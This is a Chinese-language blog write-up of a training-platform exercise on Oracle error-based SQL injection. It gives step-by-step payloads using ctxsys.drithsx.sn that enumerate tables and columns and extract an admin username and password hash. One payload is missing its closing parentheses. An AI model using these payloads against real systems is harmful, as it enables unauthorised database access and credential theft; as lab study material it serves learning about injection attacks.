封神臺Oracle注入- 報錯注入

炎凰先生發表於2020-10-05

一、原理

跟MySQL的注入一樣,都是程式原本要執行的sql語句拼接了使用者輸入的語句,導致出現了不該出現的資料。不同的資料庫使用的函式不同,Oracle使用的是ctxsys.drithsx.sn函式實現報錯注入。

二、作業

Oracle注入- 報錯注入 (Rank: 5)

  1. 在id=1 後新增and 1=1 發現頁面可以正常顯示,推斷此處可能存在注入點

  2. 通過報錯注入函式查詢當前表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)),可得到表名有NEWS

  3. 通過報錯注入函式查詢第二張表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>’NEWS’,得到第二個表名為ADMIN

  4. 通過and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1)) 得到第一個欄位名:ID

  5. 通過and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1 and column_name<>’ID’))得到第二個欄位名:UNAME

  6. 通過函式and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1 and column_name<>’ID’ and column_name<>’UNAME’))得到第三個欄位名:UPASS

  7. 通過函式and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))得到UNAME表中的第一條資料

  8. 通過函式and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1 and ID=2))得到UNAME表中的第二條資料:NF

  9. 通過函式and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where rownum=1 and ID=2))
    得到NF的密碼:2a61f8bcfe7535eadcfa69eb4406ceb9

    提交密碼,正確

相關文章